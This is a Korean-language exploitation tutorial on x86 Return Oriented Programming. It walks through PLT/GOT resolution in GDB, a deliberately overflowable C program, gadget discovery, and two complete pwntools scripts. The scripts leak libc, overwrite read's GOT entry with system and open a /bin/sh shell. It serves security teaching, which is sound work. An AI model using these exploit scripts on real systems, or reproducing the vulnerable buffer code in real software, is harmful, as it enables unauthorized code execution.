Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

List

Table of Contents
excludeList

Return Oriented Programming(ROP) -x86

  • ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술입니다.
    • RTL + Gadgets
  • 이 기법에서 공격자는 프로그램의 흐름을 변경하기 위해 Stack Overflow 취약성이 필요하고"가젯(Gadgets)"이라고 하는 해당 프로그램이 사용하는 메모리에 이미 있는 기계 명령어가 필요합니다.
    • 각 가젯은 일반적으로 반환 명령어(ret)로 끝이나며, 기존 프로그램 또는 공유 라이브러리 코드 내의 서브 루틴에 있습니다.
    • 가젯과 취약성을 사용하면 공격자가 임의의 작업을 수행 할 수 있습니다.

Gadgets - POP; POP; POP; RET

  • ROP는 기본적으로 RTL 기법을 이용하며, 공격자는 RTL과 Gadgets을 이용해 공격에 필요한 코드를 프로그래밍 하는 것입니다.
    • 01.RTL(Return to Libc) - x86 페이지에서 system() 함수만 호출하였습니다.
    • 하지만 프로그램 및 운영체제,등 다양한 상황에 따라 여러 개의 함수 호출이 필요할 수 있습니다.

...

Panel
titleROP structure

Stack Address

Value

Explanation

0xffffd57c

Read function address of libc

Function Return Address

0xffffd580

Address of gadgets(pop;pop;pop;ret)
0xffffd584First argument value
0xffffd588Second argument value
0xffffd58CThird argument value
0xffffd590System function address of libc
0xffffd594The address to return to after calling the system function
0xffffd598First argument value

PLT & GOT

  • 프로시저 링키지 테이블(PLT, Procedure linkage table)에는 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어 있습니다.
    • 해당 정보들은 ".plt" 섹션에 저장되어 있습니다.
  • 전역 오프셋 테이블(GOT, Global offset table)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장됩니다.
    • 이 정보들은 ".got.plt" 섹션에 저장됩니다.
    • 이 섹션은 공격자들의 공격 대상이 되며, 주로 힙, ".bss" Exploit에 의해 포인터 값을 변조 합니다.
  • ROP에서는 해당 정보들을 유용하게 활용할 수 있습니다.

Debug

  • 다음과 같이 PLT & GOT 영역의 내용 및 값의 변경을 확인할 수 있습니다.

    • read() 함수가 처음으로 호출되기 전에 Break point를 설정하였습니다.

    • read함수의 plt, got 영역의 주소는 다음과 같습니다.

      • .plt : 0x8048300

      • .got.plt : 0x804a00c

    • read@plt 영역에는 libc에서 read() 함수를 호출하기 위한 코드가 저장되어 있습니다.

    • read@plt 의 코드는 다음과 같이 동작합니다.

      • read@got(0x804a00c) 영역에 저장된 주소로 이동합니다.

      • read@got(0x804a00c) 영역에는 <read@plt+6>(0x8048306)영역의 주소가 저장되어 있습니다.

        • 이는 해당 프로그램에서 read() 함수가 한번도 호출되지 않았기 때문입니다. 

      • <read@plt+11> 의 "jmp 0x80482f0" 코드에 의해 _dl_runtime_resolve() 함수를 호출합니다.

        • 해당 함수는 libc에서 찾고자 하는 함수(read)의 주소를 .got.plt 영역에 저장합니다.
      • read() 함수가 호출된 후 read@got(0x804a00c)영역에는 libc의 read() 함수 주소가 저장되어 있습니다.
Code Block
titleread()
Breakpoint 1, 0x0804844f in vuln ()
gdb-peda$ x/i $eip
=> 0x804844f <vuln+20>:	call   0x8048300 <read@plt>
gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0
read@plt = 0x8048300
read@got = 0x804a00c
gdb-peda$ x/3i 0x8048300
   0x8048300 <read@plt>:	jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:	push   0x0
   0x804830b <read@plt+11>:	jmp    0x80482f0
gdb-peda$ x/wx 0x804a00c
0x804a00c:	0x08048306
gdb-peda$ x/3i 0x80482f0
   0x80482f0:	push   DWORD PTR ds:0x804a004
   0x80482f6:	jmp    DWORD PTR ds:0x804a008
   0x80482fc:	add    BYTE PTR [eax],al
gdb-peda$ x/wx 0x804a008
0x804a008:	0xb7ff0000
gdb-peda$ x/3i 0xb7ff0000
   0xb7ff0000 <_dl_runtime_resolve>:	push   eax
   0xb7ff0001 <_dl_runtime_resolve+1>:	push   ecx
   0xb7ff0002 <_dl_runtime_resolve+2>:	push   edx
gdb-peda$ ni
AAAA
0x08048454 in vuln ()
gdb-peda$ x/wx 0x804a00c
0x804a00c:	0xb7edeb00
gdb-peda$ x/i 0xb7edeb00
   0xb7edeb00 <read>:	cmp    DWORD PTR gs:0xc,0x0
gdb-peda$ p read
$1 = {<text variable, no debug info>} 0xb7edeb00 <read>
gdb-peda$ 

Proof of concept

Example code

Code Block
languagecpp
titlerop.c
#include <stdio.h>
#include <unistd.h>
 
void vuln(){
    char buf[50];
    read(0, buf, 256);
}

void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Build

Code Block
titleBuild
lazenca0x0@ubuntu:~/Exploit/ROP$ gcc -m32 -fno-stack-protector -o rop rop.c

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x0804843b : vuln 함수 코드 첫부분

    • 0x0804844f : read() 함수 호출 전

...

Code Block
titleCheck overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/ROP/rop 
Hello ROP

Breakpoint 1, 0x0804843b in vuln ()
gdb-peda$ i r esp
esp            0xffffd5dc	0xffffd5dc
gdb-peda$ x/wx 0xffffd5dc
0xffffd5dc:	0x08048484
gdb-peda$ c
Continuing.

Breakpoint 2, 0x0804844f in vuln ()
gdb-peda$ i r esp
esp            0xffffd580	0xffffd580
gdb-peda$ x/3wx 0xffffd580
0xffffd580:	0x00000000	0xffffd59e	0x00000100
gdb-peda$ p/d 0xffffd5dc - 0xffffd59e
$1 = 62
gdb-peda$

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.

...

Panel
title확인해야 할 정보 목록
  • "/bin/sh"명령을 저장할 수 있는 쓰기 가능한 메모리 공간
  • read(), write() 함수의 plt, got
  • system() 함수의 주소
  • pop,pop,pop,ret 가젯의 위치

Finding a writable memory space

  • 다음과 같이 쓰기 가능한 영역을 확인 할 수 있습니다.
    • 해당 바이너리의 0x0804a000 ~ 0x0804b000 영역에 쓰기권한이 부여되어 있습니다.

...

Code Block
titleSections
gdb-peda$ shell objdump -h ~/Exploit/ROP/rop
/home/lazenca0x0/Exploit/ROP/rop:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048154  08048154  00000154  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048188  08048188  00000188  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     00000020  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       00000060  080481cc  080481cc  000001cc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       00000050  0804822c  0804822c  0000022c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  0000000c  0804827c  0804827c  0000027c  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000020  08048288  08048288  00000288  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.dyn      00000008  080482a8  080482a8  000002a8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.plt      00000018  080482b0  080482b0  000002b0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .init         00000023  080482c8  080482c8  000002c8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt          00000040  080482f0  080482f0  000002f0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .plt.got      00000008  08048330  08048330  00000330  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .text         000001b2  08048340  08048340  00000340  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         00000014  080484f4  080484f4  000004f4  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       00000013  08048508  08048508  00000508  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame_hdr 00000034  0804851c  0804851c  0000051c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .eh_frame     000000ec  08048550  08048550  00000550  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 18 .init_array   00000004  08049f08  08049f08  00000f08  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .fini_array   00000004  08049f0c  08049f0c  00000f0c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .jcr          00000004  08049f10  08049f10  00000f10  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .dynamic      000000e8  08049f14  08049f14  00000f14  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got          00000004  08049ffc  08049ffc  00000ffc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .got.plt      00000018  0804a000  0804a000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .data         00000008  0804a018  0804a018  00001018  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 25 .bss          00000004  0804a020  0804a020  00001020  2**0
                  ALLOC
 26 .comment      00000034  00000000  00000000  00001020  2**0
                  CONTENTS, READONLY
gdb-peda$ 

Find gadget

peda

  • 다음과 같이 peda에서 필요한 Gadgets을 찾을 수 있습니다.
Code Block
titleFind gadgets - peda
gdb-peda$ ropgadget 
ret = 0x80482d2
popret = 0x80482e9
pop2ret = 0x80484ea
pop3ret = 0x80484e9
pop4ret = 0x80484e8
addesp_12 = 0x80482e6
addesp_16 = 0x80483a5
gdb-peda$ 

rp++

  • 다음과 같이 rp++ 를 이용해서도 원하는 Gadgets을 찾을 수 있습니다.

...

Info
titlerp++

Find plt, got address - read, write

  • 다음과 같이 peda에서 .plt, .got 영역을 확인 할 수 있습니다.
Code Block
titleFind plt, got address - read, write
gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0
read@plt = 0x8048300
read@got = 0x804a00c
gdb-peda$ elfsymbol write
Detail symbol info
write@reloc = 0x10
write@plt = 0x8048320
write@got = 0x804a014
gdb-peda$

Find the address of the system() function

  • 다음과 같이 system 함수의 Address, offset을 확인할 수 있습니다.
Code Block
titleAddress of the system() function
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0xf7edc350 <read>
gdb-peda$ p system
$3 = {<text variable, no debug info>} 0xf7e42940 <system>
gdb-peda$ p/x 0xf7edc350 - 0xf7e42940
$4 = 0x99a10
gdb-peda$ 

Exploit code

Code Block
languagepy
titlerop.py
from pwn import *
from struct import *

#context.log_level = 'debug'
 
binsh = "/bin/sh"
 
stdin = 0
stdout = 1
 
read_plt = 0x8048300 
read_got = 0x804a00c 
write_plt = 0x8048320 
write_got = 0x804a014 

#32bit OS - /lib/i386-linux-gnu/libc-2.23.so
read_system_offset = 0x9ad60
#64bit OS - /lib32/libc-2.23.so
#read_system_offset = 0x99a10
writableArea = 0x0804a020 
pppr = 0x80484e9 
 
payload = "A"*62


#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))

#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)

#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))

#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
 
r = process('./rop')
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4,timeout=1))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()

...

Code Block
languagepy
titlerop.py - Full pwntools
from pwn import *
from struct import *

#context.log_level = 'debug'

binsh = "/bin/sh"

binary = ELF('./rop')

#32bit OS
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
#64bit OS
#libc = ELF("/lib32/libc-2.23.so")
rop = ROP(binary)

print binary.checksec()

read_plt = binary.plt['read']
read_got = binary.got['read']
write_plt = binary.plt['write']
write_got = binary.got['write']
read_system_offset = libc.symbols['read'] - libc.symbols['system']
writableArea = 0x0804a050 

#Address info
log.info("read@plt : " + str(hex(read_plt)))
log.info("read@got : " + str(hex(read_got)))
log.info("write@plt : " + str(hex(write_plt)))
log.info("write@got : " + str(hex(write_got)))
log.info("read system offset : " + str(hex(read_system_offset)))
log.info("Writeable area : " + str(writableArea))

#ROP Code
rop.read(0,writableArea,len(str(binsh)))
rop.write(1,read_got,4)
rop.read(0,read_got,len(str(read_got)))
rop.raw(read_plt)
rop.raw(0xaaaabbbb)
rop.raw(writableArea)
payload = "A"*62 + str(rop)

#Run
r = process("./rop") 
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4))
system_addr = read - read_system_offset
rop = ROP(binary)
rop.raw(system_addr)
r.send(str(rop))

r.interactive()

Related site

...